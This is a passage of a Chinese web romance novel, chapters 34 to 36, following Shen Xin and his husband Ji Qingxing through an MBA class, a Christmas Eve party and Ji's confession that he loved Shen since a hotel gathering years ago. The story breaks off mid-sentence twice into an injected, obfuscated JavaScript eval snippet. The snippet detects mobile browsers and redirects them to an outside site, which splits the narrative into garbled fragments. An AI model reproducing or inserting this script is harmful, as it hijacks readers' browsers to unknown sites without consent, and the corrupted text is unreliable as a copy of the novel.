唯一不同的是每天的菜品,几乎没有重复,各种食材各种口味各种做法,沈昕觉得自己简直成了美食品评家。 也渐渐发觉纪轻行对吃东西这件事非常认真。 渐渐发觉他是个…… 很有生活情趣的人。 自己虽然也注重追求内心的感受,但在热爱生活、寻找乐趣方面,比他差得远。 这天晚上散步结束,两人站在街口,准备分道扬镳。 既绚丽又静谧的夜色里,纪轻行的脸英俊帅气。 “你看,抛掉外在因素,只是我们两个人很单纯地在一起,是不是还挺快乐的?” 沈昕有了些预感,但不想承认,便装傻道:“干嘛突然说这个。” “我觉得我喜欢你,想跟你在一起的原因就是这个。”纪轻行说,“听起来极其简单,但对于你我这样的人来说,这恰恰是最难得、最珍贵的。我做生意,你有那样的家庭,又有自己的怀才不遇,我们都太缺少,也太需要最纯粹的快乐,类似中学生早恋那种唯有怦然的感情,这个岁数还能遇上,我觉得很庆幸。” 沈昕说:“你想要这种感情,为什么一定要找我?” “只能是你,必须是你。”纪轻行笃定地说,“我也算阅人无数,对除你之外的其他人,我从没这样想过。” 沈昕一时无话可说。 但也无法只因为这几句话就全盘接受。 纪轻行倒不强求,二人说了再见,沈昕回住处,走着走着突然想起一件旧事—— 曾经问纪轻行有没有喜欢的人,对方的回答是“不能说没有”。 当时他以为那就是纪轻行晚上聊的人,但后来知道了那是沉心,是自己,那“不能说没有”的人又是谁? 沈昕一脸沉思,鼓了鼓腮帮子。 本来今晚的纪轻行让他挺感动的,可这句话又突如其来,横插一道梗在心头。 瞬间不感动了。 在走廊上遇到了邻居,他正常寒暄,对方的表情却欲言又止。 “啊,沈,有件事想跟你确认。” 沈昕一愣,礼貌笑道:“请说。” 邻居凑近,压低声音,脸上却压不住香国人一贯的大眼睛和大表情。 也不怪邻居,这事确实挺…… 哎。 沈昕越听越皱眉,梗在心头的那一道加倍,把整个胸口都堵住了。 34.势均力敌 第二天是沈昕报名的培训课开班的日子。 时隔一年多,再次以学生的身份回到母校,心情本该很好,可惜被纪轻行搅了。 昨晚听邻居说完,他立刻就想给纪轻行打电话,想跟他发脾气,但转念一想,他的诉求是什么?又为什么要发脾气呢? 他不是个爱发脾气的人。 也不是个不干脆的人。 但不得不承认,纪轻行,以及他们之间不稳定的关系让最近的他…… 有些变了。 最后他没有向纪轻行求证,打算先让自己冷静下来,想清楚了再说。 上午9点,距离上课还有半小时,他不想直接去教室,便站在教学楼下,看冬日的校园景色,看三三两两随意活动的学生,看着看着,突然看见了…… 纪轻行?! 正往他这里走来的纪轻行也是一愣,接着一脸欣喜地迎上来。 沈昕不快地皱眉:“你是在我身上装针孔摄像头了,还是请了私家侦探?” “什么?”纪轻行一脸莫名。 “别装傻。”沈昕冷冷地说,“你怎么知道我在这儿?” 纪轻行丈二和尚摸不着头脑:“我不知道啊。” “那你来干什么?” “来上课。” “上课?上什么课?” 话音落,沈昕心说不好,不会这么巧吧。 再看纪轻行,他今天西装革履,穿得十分齐整,仿佛是要出席重要场合。 是了,自己报的这门课简直可以说是为他量身打造的。 果然纪轻行答道:“MBA先导班,一个月的短期课。你们学校的非全MBA一向有名,在这边闲着也是闲着,所以我打算先上上这个先导班,真有利的话,后面可以考虑抽时间来上长期班。” 沈昕的心顿时死了。 没错,他和纪轻行真地有缘,非常有缘,缘分之大,以至于异国他乡买咖啡巧遇完全不够看。 接下来该纪轻行问问题了。 “大早上的,你怎么也在这儿?回学校有事?” 沈昕不说话,脸皱成一团。 纪轻行看着他,探索、寻觅,结合先前种种,突然反应了过来:“你不会是也……” 沈昕还是不说话,脸色更沉。 相当于默认。 纪轻行眉梢一挑,“哈”地笑了:“你也报这个班了?什么时候报的?你怎么会报这个啊?” 此刻的沈昕也很想问自己,为什么要报这个。 纪轻行试探问道:“你想把你家的生意抢回来?” “不是。就是前段时间在学校网站上看到了简介,觉得自己该接触一些新鲜的东西,就报名了。” 纪轻行仍用探寻的眼光看他,说:“就算暂时没想过抢不抢,但至少让自己不那么被动,对吧?昕昕,这没什么不好,而且无论好不好,你那些细腻的心情都不必瞒着我,我是你老公啊。” 沈昕不置可否。 纪轻行继续探寻:“你看起来心情不太好,是因为这个班里有我?不应该吧?你……好像一看见我心情就不好了。” 表情变得委屈。 沈昕心想我还没找你算账呢你居然主动撞上来,那咱们就好好掰扯掰扯,一挑眼道:“纪轻行,你让我不要瞒你,那你自己呢?你老实说,这几天你在我住的地方干什么了?” 纪轻行脸色一僵,被发现了的尴尬一闪而过,接着厚脸皮地凑上来:“你怎么知道的?谁跟你说了?” 沈昕沉着脸道:“邻居。” “他怎么说的?是不是不同的语言文化产生了歧义啊?我只是想跟你住得近点儿,不是想监视你,也不是骚扰他们,更不是要他们搬走。我只是挨个儿问了问有没有人有搬家的计划嘛,网上信息不全不及时,我怕错过,就跑自己的腿动自己的嘴啊。而且我非常礼貌,全程微笑,好言好语,上门问的时候甚至带了小礼物!我尽自己的努力促成自己的缘分,这不行吗?香国人都怎么回事,这么能大惊小怪。” 沈昕白他一眼:“人家没说你骚扰,没有带情绪,只讲了事实,目的也是担心我的安全,问我究竟认不认识你,给我提个醒。” 纪轻行茫然:“那你生什么气?” 沈昕闷声道:“你说我生什么气。” 纪轻行更茫然:“我不知道啊。” 沈昕转身进教学楼:“不知道就算了。” “哎!”纪轻行拉住他。 沈昕垂下眼帘。 从昨天开始他就一直在想他那自动爆发的气究竟是为什么,刚才,因为纪轻行的一语,他豁然开朗。 有些事情藏着不说叫惊喜,但有些不行。 至于界限,大概在于是否会推进关系。 如果纪轻行的攻势突然变强,距离陡然拉进,他猝不及防,就会紧张。 那样的状态下,他可能会冲动,可能会过度抗拒,总之不理智、不真实,对他和纪轻行都不利。 他也是为了他们俩好。 但看着眼前的人,他无法心平气和地说出这番道理。 他不想手把手地教他。 “昕昕。”纪轻行双手拉住他的手腕,上前凑近,表情和语气十分认真,“你不愿意我离你近一点儿吗?我不想一直住酒店,家里的房子在公司那边,确实太远。最好的情况当然是我搬去你那里,因为咱们是夫夫啊,可我也知道你现在心里不顺,需要时间和空间,那我就退而求其次。我已经问好了,确实有人要搬,就在你楼下,他工作变动,这两天正找新房子,新房子定下来这边就退租。我暂时没告诉你不是故意瞒你,而是因为那个人还没定,现在说也是白说,我打算等他定了就跟你商量的。我也不是硬要搬进来,只要你说一个‘不’字,我就立刻打消念头。但我请你别说气话,而是认真地、平静地想一想,究竟要不要说‘不’。” 沈昕闷闷地看着纪轻行。 如果是插科打诨斗嘴,他尚能和这家伙有来有回,但如果是正正经经长篇大论,他根本说不过对方。 他有一个极长的长板,纪轻行则是方方面面都非常厉害。 人如其名,轻轻松松地就把所有事情做到了。 可现在,至少是在所谓追求自己这件事上,他不想让他那么轻松。 不知道这种想法算不算阴暗,沈昕不自觉地鼓了鼓腮帮子。 纪轻行笑了。 沈昕奇怪地问:“你笑什么?” “笑你。” 沈昕更加莫名其妙:“笑我什么?” “笑你可爱。” 沈昕一愣。 纪轻行用食指敲了敲他的脸蛋:“早想说了,跟个青蛙似的,你是故意诱惑我吗?” 沈昕简直要把白眼翻到天上:“原来你喜欢青蛙。” “我喜欢你,你是青蛙我就喜欢青蛙,你是□□我就喜欢□□。” 沈昕:…… 下意识地又想鼓腮帮子,但纪轻行挑明了,他就得忍住。 “你想多了,没人诱惑你,只是我小时候养成的坏习惯罢了。” “什么坏习惯?” 挺傻的,沈昕不太想说,但从另一个角度讲,又是非常珍贵而有趣的回忆,理应通过分享去延长那份珍贵和有趣。 “我小时候不好好吃饭,我妈为了鼓励我,故意这样子让我学,趁机给我嘴里塞吃的,我觉得很有意思,使劲儿鼓腮帮子使劲儿嚼,日久天长就习惯了。” 本以为说完纪轻行会大笑,再调侃几句。 不料他不仅没有,反而露出了一种仿佛也是陷入回忆,甚至看到画面、身临其境的既温馨又向往的笑容。 最后,纪轻行什么都没说,只是抬手揉了揉他的头。 沈昕鼻子发酸,眼眶微疼。 非常无奈。 他的确是个细腻的人,否则也做不了小说家。 “……纪总?” 静谧的氛围突然被打破,二人回身看去,迎面走来的男人三四十岁,面带笑容精明强干。 纪轻行神色一正,走过去握手:“王总?好久不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686564|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,没想到在这儿碰上了。” “哈哈,看背影像你,果然是。也来上课?” “嗯,学习学习,顺道跟我爸我妈换换,他们在国外呆得烦了。” 随口聊着,王总看到了沈昕,心中已有预想,向纪轻行道:“不介绍一下?” 纪轻行笑了:“沈昕,我丈夫。昕昕,这位是做零售电商的王总,王亮,跟易嘉有合作的。” 易嘉就是沈知易创立的酒店集团。 其实酒店有哪些合作伙伴他并不知道,但纪轻行这么说了,场面上他自然要过得去。 他笑着向王亮点头:“王总你好,久闻大名。” “沈少太客气了,幸会啊。”王亮又对纪轻行说,“你也真是的,悄默声办大事,我这份子钱想出都没机会出。” “没办法,这段时间实在太忙了,不过也是迟早的事,少不了你的。” “行,那我等着!到时候好好喝一回!” 沈昕心想,他们应该是在说自己和纪轻行结婚没办仪式没摆酒。 纪轻行说迟早当然亦是场面话,但其中是否也有他的自信和期待? 他们两个人,是否真地会有那一天呢? 上课时间临近,更多人来了,这种性质的MBA班,基本就是大型企业高管和创业者的聚集地,除了学东西,更重要的是积累人脉资源。 班里近二十人,纪轻行认识不少,然而有一个人,别说纪轻行,除了沈昕,大伙儿都不认识。 名叫劳拉,香国人,女创业者,是沈昕的校友,曾经和沈昕参加过同一个社团。 于是沈昕也成为了一座人际桥梁。 多少削减了他只能被纪轻行介绍的无力感。 说话间,劳拉也意识到了二人不一般的关系,挑眉笑问:“沈,这位是?” 沈昕想了一下,说:“我丈夫。” 现在只能这么说。 劳拉具有香国人普遍的热情奔放,眉毛顿时挑得更长,表情夸张道:“哦,他很帅,和你很配!不过我没想到你会这么快结婚,你是文学家,在我看来,文学家艺术家都是风流浪荡子。” 沈昕微笑着说:“这是刻板印象。” “哦,没错,刻板印象,我道歉。”劳拉哈哈笑着,“一定是因为他是个英俊帅气的男人你才和他结婚的,祝福你们,你们真地很般配!” “谢谢。”沈昕的笑意浓了一些。 那些认识纪轻行的人根本无消多想,自动就把他当作了纪轻行的附庸。 多知道一点他家情况的,甚至会把他们的关系想得更糟。 但劳拉不一样。 她不认识纪轻行,她什么都不知道,只从恋爱的角度,这让沈昕觉得很舒服。 但纪轻行会舒服吗? 在他听来,劳拉的话会不会有点儿……仿佛是自己挑他的意思? 这时,纪轻行的一个熟人也开起了玩笑:“老纪,真是新婚燕尔啊,上哪儿都要带着,就这么想给我们喂狗粮?” 看吧,就是这种话。 大庭广众初次见面,沈昕不好挂脸,只能勉强微笑。 纪轻行却说:“别胡说八道,我俩只是一起来,实际上各交各的学费,各有各的事情。你想想,易嘉那么大的摊子,马上就全落在他身上了。以后你想卖货,找沈总和梁总恐怕不行,得找沈少,还不赶紧趁现在巴结好。” 亦是玩笑的语气,但生意场上都是人精,自然明白他的意思。 果然那人的态度立刻不一样了:“哎呦,感谢提醒,要不是你说,我这还云里雾里呢,沈少,以后多多关照啊!” 沈昕礼貌地应了几句。 接着看向纪轻行。 纪轻亦看着他,笑容坦荡而默契。 沈昕懂了。 他不仅不会因为劳拉的话不舒服,相反,他正在努力地告诉自己—— 我从来没想过让你做我的附庸。 只喜欢独立的人,只想拥有势均力敌的感情。 我和你是一样的。 35.注视 MBA先导班每周三节课,每节两个半小时,一半老师讲,一半学员讨论。 都是行业里做实事的人,讨论自然不拘于书本和理论,多是身边或亲历的案例,非常实际,听得沈昕受益匪浅。 且不说别的,单是给他写作打开思路,积累素材也足够了。 他是外行,遇到不明白的地方就问纪轻行—— 对于大多数人来说,上课只是为了拿证书刷履历交人脉,但纪轻行并不。 纪轻行会很认真地出勤,很认真地听课,很认真地记录,很认真地思考,做人做事比他先前想象的沉稳踏实许多。 难怪这么年轻就能让家人长辈放心,做大集团的顶梁柱。 难怪当年不过高中刚毕业的年纪,就会被大人们众口一词地说“未来天下是他的了”。 而那个时候,自己却还是“小孩子”的角色,只需要跟在家长身边默默吃喝。 每每沈昕提问,纪轻行也总是很认真地回答。 他把正事和闲事分得很清,虽然一旦开起玩笑来简直毫无下限,但不该开玩笑的时候绝不乱开。 他很成熟。 有时候也幼稚。 譬如答完问题,他总要再顺着问点儿什么,与上课内容毫不相干,多是凑近乎、撩拨人,比如—— “老公优不优秀?” “你看看,你老公我不止是在床上厉害吧?” “小昕昕,不说点儿好听的夸奖夸奖老公吗?” 又或是想努力走进自己心里,比如—— “你每天花多少时间写东西呀?” “除了写东西,你还看什么书?咱们聊一聊,我其实也挺爱看书的。” “现在能让我看你写的东西了吗?不是非要看的意思,就是怕你忘了,我一直在这儿等着你呢。” “很有耐心的那种。” 沈昕就很无奈,默默地想其实你早已经走进了我的内心,看到了我最深处、最真实的样子。 有一次,纪轻行正拼命释放魅力,沈昕突然站起来,难耐地捂着嘴跑了。 回来以后,纪轻行的脸色非常复杂,非常认真 ,又非常做作地问:“我难道就这么让你恶心吗?” 沈昕:? 沈昕:…… 转念一想,动用黄色废料去想,确实是他……让自己恶心的。 接着便起了浑身的鸡皮疙瘩。 近墨者黑,他肯定是被下流的纪轻行影响了。 别开视线,沈昕走向一边。 纪轻行跟过来,探头观察他,眉头谨慎地蹙着。 他向旁边躲,纪轻行就贪吃蛇一般再伸长脖子。 “昕昕,你到底是什么情况?” 沈昕逃避道:“跟你说过的,就是咽炎,水土病。 ” “我觉得不太对。”纪轻行缓缓摸下巴。 他聪明细致,一旦用起心来,沈昕便觉得无论什么都逃不过他的眼睛,不由地紧张,呼吸都不顺了。 “你不会是……”纪轻行自顾自地琢磨,他有一个合理又大胆的设想,可惜不敢说。 近来两人算是渐入佳境,他多少摸出了沈昕的边界,因此知道这话一旦说出来,沈昕肯定会生气,甚至会有他无法预料、难以收拾的后果。 还是得先稳住。 纪轻行走开了。 守住了秘密,沈昕松了口气,连忙岔开话题:“这周末劳拉家里的圣诞party,你去吗?” 纪轻行坐在沙发扶手上,笑道:“人家盛情邀约,却之不恭,何况你去,那我当然必须也去。” “一个字就能回答的问题,你非得说这么多。”沈昕无奈,“你准备带什么礼物去?” “你呢?你和她熟,你觉得咱们带什么好?” “咱们”二字不由分说地将两人绑在一起,礼物也算成了一份。 沈昕更是无语。 可也只能这样,毕竟在劳拉和其他人眼里,他和纪轻行现在是新婚燕尔的幸福一对,拜访友人分开送礼,很难解释。 “她要搞户外烧烤,这边的习惯就是带酒带菜。” “那我们就准备点儿特色酱料和腌制肉类,比如上回咱俩在家里做的那种,你觉得怎么样?” 沈昕顺着想起“上回”。 那次自制火锅算是他们婚后第一次拉进距离。 纪轻行之所以那样提议,是因为向往自己写过的类似情节。 他从那时候就开始认真经营他们的关系了。 是他先开始的。 破冰、纠结、抗拒、冲动、清醒、坚定……都是他先开始的。 他总是快自己一步。 “可以吗?”纪轻行又问。 沈昕从回忆中回神,点头说:“可以。” “行,那你就不用管了,一切交给我。”纪轻行发动霸总技能,“另外还有件大事跟你商量。” “大事”二字咬得很重,笑容看来也包藏祸心。 沈昕便警惕地问:“什么大事?” “楼下的住户已经搬走了,请沈少示下,你老公我可以搬进来吗?” 沈昕:………… 油腻,无语。 他抱起双臂,冷冷地说:“你的事我管不着。” 相当于默认。 纪轻行当即开花,站起来轻快地走过来,浮夸做作嬉皮笑脸道:“哎呀别这么说嘛。你得管我啊,你要是不管我,我可就无法无天,控制不住自己了……” 沈昕瞪他一眼,双手在胸前前推,意思是保持距离:“那我现在就管你,到点儿了,你该滚蛋了。” “哎,我怎么自己挖坑给自己埋了呢。”纪轻行非常伤感,“行吧,我滚,明天再滚回来,周末也滚来接你,一起去party,好吗?” 沈昕:……………… - 平安夜。 劳拉的party邀请了MBA先导班的所有同学,除了王亮,大家都到了。 沈昕就有点儿奇怪:“王总怎么没来?” 经过这段时间的交往,他觉得王亮人不错,高情商,很合群,也爱热闹,不应该不来。 纪轻行道:“他老婆孩子和岳父岳母今天过来,正好是晚上的飞机,他得去接,接到了还得安顿。” 原来如此。 好奇一问,问完就过去了,但没想到纪轻行过不去,不快地说:“小昕昕,有你老公我给你关注还不够吗?居然有时间有心思关注别的男人?” 沈昕简直想笑:“纪总什么时候变得这么没自信了?” “不是没自信,是占有欲。”纪轻行理直气壮地说,“我丈夫不能想别人,一丁点儿都不能。” 沈昕冷笑,懒得再理他,快走几步,去往草坪上众人聚集的烧烤架。 party开在劳拉家的花园,面积不算大,胜在人工草坪养得好,周围灌木分布得好,只是可惜冬季没有应时的花。 好在圣诞元素非常丰富,草坪正中放了棵巨大的圣诞树,树上挂着五颜六色的装饰和礼物,形状各异的彩灯错落有致,既能烘托入夜后朦胧的氛围,又不至于让人看不清楚。 烧烤架在圣诞树旁边,餐桌座椅摆在周围。 大家可以聚在一起烤肉烤菜,可以分散吃喝或聊天,非常自由。 “纪总和沈少带的酱料太好了,我就爱这一口!” “是啊,家乡的味道。” “你才来多久,就开始感慨‘家乡的味道’了?” “没办法,吃货是这样的。” “这个肉还有吗?再给我来点儿……再来点儿,嗐呀多来点儿阔气点儿,再有三斤我也能吃下!” 劳拉也说:“和我们的做法完全不一样,但的确非常好吃,沈,谢谢你,稍后告诉我腌制的食谱吧。” 沈昕笑了,说:“这是纪轻行腌的。” “哦是吗?真厉害!”劳拉向纪轻行伸出大拇指。 大伙儿也纷纷说:“没想到啊,纪总还有这一手!” 纪轻行便来了劲:“我可是好男人,上得厅堂下得厨房,跟你们不一样。” “哎呦呦!”大伙儿又都不满,七嘴八舌地吐槽他。 沈昕一边烤食物一边听,笑得更开了一些。 纪轻行站在他身边,看得一清二楚,嘴角眼底亦是止不住的笑意。 突然 ,一个食品夹来到他的盘子里,轻轻放下一块油香四溢的大鸡腿。 纪轻行一愣,扭头看沈昕。 沈昕淡淡道:“看你被说得怪可怜的,补偿一下,不过我手艺不好,不确定熟透了没。” 纪轻行登时心花怒放,拎起鸡腿,一口撕咬了一大块下来。 “谁说手艺不好,这明明是我这辈子吃过的最好的鸡腿!” 沈昕垂头抿嘴忍笑,离开烧烤架,走去放着大屏幕的娱乐区。 纪轻行迅速啃完鸡腿,也跟过去。 大屏幕连着游戏机,几个人正在玩,看到沈昕便打招呼:“沈少,一起玩吧?” “好啊,不过我不擅长打游戏,可能会降低你们的体验。” “派对游戏没有难度,都是玩个热闹。”几人的视线挪向沈昕身后,“叫上纪总,你俩组一队。” 沈昕回头看到纪轻行,笑着说:“不要,我要跟他做对手。” “没问题。”纪轻行亦笑得满足,走过去拿了手柄,递给沈昕一个,“来吧,你当心,我不会手下留情的。” 众人起哄,二人各入一队,双方对战,虽然是玩,但也都不糊弄。 沈昕专注地盯着大屏幕,专注地操作,赢了开心,失误了沮丧,接着迅速调整心态,积极面对下一轮—— 种种只有新手才会出现的小表情被纪轻行一览无余。 那次在酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711800|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店,他冰冷地拒绝了童童的邀请,自己和童童玩的时候,他更仿佛局外人,生硬、尴尬、无法融入。 和现在判若两人。 他明明可以很快乐。 他的快乐不应被任何人任何事剥夺。 又玩了一会儿,沈昕朝众人打了个手势,放下手柄走到一边去接电话,接完以后去找劳拉,两人说了几句,劳拉回到屋里,过不多久出来,手上端着个笔记本电脑。 沈昕小跑过去,接了电脑,四处看看,走向草坪角落。 纪轻行:? “纪总!”一个熟人过来打招呼,一副要好好聊聊的架势。 纪轻行犹豫片刻,收回视线,决定算了。 没必要时时刻刻黏在一起,也不是任何事情都必须第一时间知道,尤其大庭广众下,他可以把热恋和占有欲先收一收。 不再看沈昕,他跟人边聊边散步,聊完一看表,十几分钟过去了。 再找沈昕,发现他还在原处。 离自己颇远的对角线位置,挨着劳拉家屋子的草坪角落,一张小圆桌一柄遮光伞,沈昕就坐在那里。 双手在笔记本电脑上敲字,一脸专注,时而鼓鼓腮帮子,时而支颐自思。 纪轻行笑了,缓缓走过去,不想打扰他,就站在三四米远之外看。 平安夜里,绚烂灯下,周围的喧闹,风里的香气成为背景。 他凝眸欣赏,眼前的景象仿佛一幅画。 突然间画活了过来,不仅会动,还能自主变换。 绿色草坪变成了大理石地板,星空天幕变成了华丽的吊顶和水晶大灯,劳拉家的房子变成了一整面收藏红酒的展柜,坐在其中的人变了衣着,薄羽绒服变成浅蓝色牛仔衬衫,刘海变短,容貌眼神变得更加清澈、稚嫩…… 纯真。 纪轻行的心猛然收紧。 他像失忆的人陡然恢复了记忆,上前一步,又骤然停住,在疯狂跳动,仿佛就要挤压而出的心声中,用震撼、惊喜和同样近乎疯狂的颤抖双眼盯着眼前的人,直到…… 那个人感受到了他强烈的注视,扭过头来,在一瞬茫然之后,很好看、很好看地对他笑起来。 “……昕昕。” 他想说话,可是他的声音比他的手指、唇齿、眼球还要颤抖。 更重要的是,他心中汹涌澎湃,不知道该说哪一句,以及怎么说,才能在最短的时间内把最关键的信息完整地表达。 …… 玩游戏的时候,沈昕接到了阿圆的电话,跟他商量修改声播稿。 第一次做线上活动,虽然是形式自由的语音聊天,但沈昕的准备却一点儿也不随意。 昨天他写了想聊的内容,发给阿圆征求意见,如今阿圆发来了修改后的,也征求他的意见。 party还得持续一段时间,结束后回到住处肯定会很晚,阿圆也要忙别的事,何况心里藏着工作,玩也玩不好,沈昕便决定向劳拉借电脑,一边跟阿圆沟通一边现改。 两人效率很高,半个小时就搞定了。 从专注中抽离,沈昕突然觉得身边有股压力,扭头一看是纪轻行,双目呆滞,嘴巴微张,表情很怪,跟平时趾高气昂的纪总完全不一样,看起来…… 超傻。 他忍不住笑了。 没想到纪轻行表情更怪,一副要哭的样子。 正准备问他怎么了,突然劳拉叫大家都过去。 沈昕只好打住,前往草坪中间,回头示意纪轻行跟上。 劳拉站在圣诞树旁,等所有人都到了,兴奋地说现在开始举行平安夜发礼物仪式。 音乐响起,劳拉从圣诞树上摘下礼物,一一送给相应的人,说着专属于那人的祝福与所送礼物的缘由。 这样的细心与热情自然令人感动,大伙儿鼓掌、叫好,也衷心地祝福劳拉。 礼物发完,大家合了影,party结束。 众人散去,沈昕和纪轻行一起回住处。 冬日的深夜风清气冷,然而party的热闹余韵与平安夜的温馨暖意仍在,沈昕浑身通畅,非常快乐。 唯一美中不足的是纪轻行。 不知道为什么,纪轻行心不在焉的,连发礼物仪式这种他最擅长的场合都只是随便应付了几句。 没错,是应付。 得亏劳拉是香国人,文化不同,对纪轻行也不熟,所以没太感觉到。 哎,明明人家为大伙儿精心准备了一个非常美好的夜晚。 沈昕有点愧疚,走到公寓楼下,终于忍不住了,扭头问身边的人:“你刚才……” 戛然而止。 因为纪轻行正盯着他,目光幽深不见底。 沈昕有点紧张地屏住呼吸。 纪轻行也吸了口气,终于非常郑重地问道:“昕昕,你以前……高中的时候,是不是去过一个大型企业家酒会?” 36.拥抱 “企业家酒会?高中的时候?”沈昕一愣,纪轻行比他大两岁,他进一步询问,“是我上高中还是你上高中?” “你。”纪轻行笃定地说,“我那时高中毕业。” 沈昕想起来了。 就是第一次见纪轻行,听到大人们说“未来天下是他的了”的那回。 “原来那是企业家酒会啊,我当时没有那么明确的概念,因为是在我家酒店,我爸也只是说带我去吃饭,我就以为是他跟生意上的朋友聚一聚。” 纪轻行再问:“那个时候,你是不是坐在大堂吧看电脑?” 沈昕再度回忆。 那次是西式酒会,地点在大宴会厅,有餐台区、休息区、娱乐区。客人们随意来往,三三两两聚在一起,或吃东西,或坐在沙发上聊天,或在牌桌上打牌。 他一个十六岁的高中生当然融不进去,沈知易各处应酬,也顾不上他,他便拿了想吃的东西走去一边,自己吃自己的。 偶有大人聊着天走过,对纪轻行的评价就是这样听来的。 他有点好奇,寻找传说中的纪轻行究竟是哪个,远远地看了一眼。 只觉得个子挺高,作为学生是稍显成熟稳重一些。 然后他吃完了,再然后…… “不记得了。”他诚实地摇头。 纪轻行一脸郑重,仿佛这是很紧要的事情,说:“你再想想。” “真不记得了,刚才已经想过了。” 不过纪轻行现在的表现令他有点儿在意。 记忆没有了,还可以捋逻辑。 “那天……我肯定没有一直待在会场,因为我在那里没事做嘛,但我又要等我爸送我回家,酒会结束的时间肯定很晚,那我肯定得找个地方呆着,在我家酒店……要么是开间客房,要么……确实是会去大堂吧。那时是暑假,晚上不用写作业,一般多是上网或者看书,没必要专门开房,那就应该是在……” “你那天穿着一件很薄的牛仔衬衫,浅蓝色……” 沈昕无奈:“这个实在不可能记得了。” “没错,绝对是!” 纪轻行突然非常笃定,语气强硬,声音却颤抖。他在冷寂的冬夜里看着沈昕,眼神火热,仿佛念念不忘的珍宝失而复得。 “那是一件短袖衬衫,领口打开,显得你的脖子很长,放在电脑键盘上的手也很长,很瘦,手指很细,很白。那个角度,很可惜,我没有看到你的正脸,甚至连侧脸也只是看到一部分,刘海和睫毛的阴影下,你的眼尾微微上翘,非常漂亮……你很专注,很沉浸,大堂吧灯光昏暗,可是你却……在发光。一开始我以为那是电脑屏幕的光,但后来才明白,那其实是因为你……因为我被你吸引了,所以你在我的眼里心里自然而然地发光。” 沈昕大愣,目瞪口呆地看着眼前这个极其不淡定的家伙。 “我是在酒会结束,和大人们一起离开的时候无意间看到你的,太突然了,我当时只是看着、走着,就那样迷迷糊糊地出了大门,周围的人还在跟我说话,但说了什么我都已经听不见了。回去以后我才反应过来,那种感觉原来就是……” “我后悔了。为什么我没有停下脚步,没有走过去把你看清楚、问清楚呢?那个时候,我以为你只是住在酒店的客人,甚至或许并没有住店,只是随便进来坐一坐打发时间。我以为我和你就这样错过了,连萍水相逢都算不上,突然而来突然而去,再也不会重逢。” “在后来的日子里,我只能让自己慢慢放下,我也的确放下了,我可以一心一意地去爱别人,然而同时,它又成为了另一种执着:有一个人,有一个影像,始终在我的心灵最深处,看似什么都不影响,却又在无形中影响着一切。” “直到现在我才明白,当初同意跟你结婚的最关键原因,就是看到你的照片以后,你的形象和我心里的影像重合了,只是当时我尚未明确这一点。而刚才在劳拉家,你坐在那里看电脑,样子和当年简直一模一样,就像一个开关,把我的记忆彻底激活。” 纪轻行定定地看着沈昕,越来越激动。 沈昕的心头亦波澜起伏,他预感到了。 “你说这些,是想说明……” “我早就喜欢上你了。”该直白的时候,纪轻行绝不含糊,“我喜欢上的第一个人,也是唯一的一个人就是你。你,让我确定了自己的取向。” 沈昕下意识说:“原来你那时候才确定你喜欢男人。” “不。”纪轻行认真地摇头,“不是性向,是取向,我的取向是你,只是你。” 沈昕心头“轰”地一声:“所以,之前我问你有没有喜欢的人,你说‘不能说是没有’,指的就是……” 纪轻行重重地点头。 突然之间,沈昕心里的一个结打开了。 他觉得身体轻松了许多,好像还有种说不清道不明的因子在轻盈地流动。 他不由地笑起来,正想说话,突然一滞。 胸口传来压力,是纪轻行抱了上来。 强势、温暖、笃定、安全,沉甸甸的,一种从来没有过的感受。 他恍然意识到,虽然和纪轻行连孩子都有了,但是他们从来没有这样拥抱过。 过去二十多年,他没和任何人…… 像这样拥抱过。 纪轻行紧紧地搂着他,连他的胳膊都搂住了,捆麻袋似的。 下巴搁在他肩上,侧头埋首于颈窝,缓缓地蹭。 如果不是冬天穿得多,这样肯定痒死了。 纪轻行呼吸很沉,带着一种刻意压抑,说不准什么时候就会暴走的平稳,沈昕这才发现,他竟然如此激动感慨,那程度比自己以为他喜欢过别人,兜兜转转发现原来那个别人竟然就是自己深多了。 原来自己影响他的地方不止是沉心的创作。 原来自己影响过他这么多。 他们真的,很有缘分。 又过了一会儿,纪轻行放开他,像是平复了,表情回归正常,除了一贯的吊儿郎当,还有些明晃晃的得意,看着他的眼神比从前更深,更拉丝儿。 “抱歉,失态了,疼么?” 沈昕甩甩胳膊,垂头低声道:“你说呢?” 纪轻行笑了一下,又问:“没个回复?” 他以为这样就可以了。 怪自信的。 沈昕有点儿不爽地鼓了鼓腮帮子:“你喜欢我跟我有什么关系。” 转身就走。 纪轻行跟上去说:“我那儿收拾好了,去看看吧?” “太晚了,我要回去睡觉。” “嗐呀就看两眼能耽搁你多少时间。” 进了公寓电梯,纪轻行抓着沈昕的手不让他按楼层,自己按了自己那层,一路推着沈昕走。 沈昕沉着脸色半推半就。 不是心口不一,他确实不想去看纪轻行的房间,但有点想看看具体位置,知己知彼。 本打算只站在门口看一眼就走,结果没想到门一打开,他愣了。 纪轻行还张开双臂兴奋地叫道:“当当当当——!” 真是三岁小孩儿。 客厅正中放着一棵顶天立地的圣诞树,周围地上堆满气球和花朵,还有个蛋糕。 这里主打单身公寓,客厅面积不大,这样的布置便显得十分震撼,代入感极强。 “你……” “我想和你一起过圣诞节,只和你。” 沈昕下意识道:“那怎么不早说?” 他想的是,如果刚才他坚持不来,这些准备就要落空了。 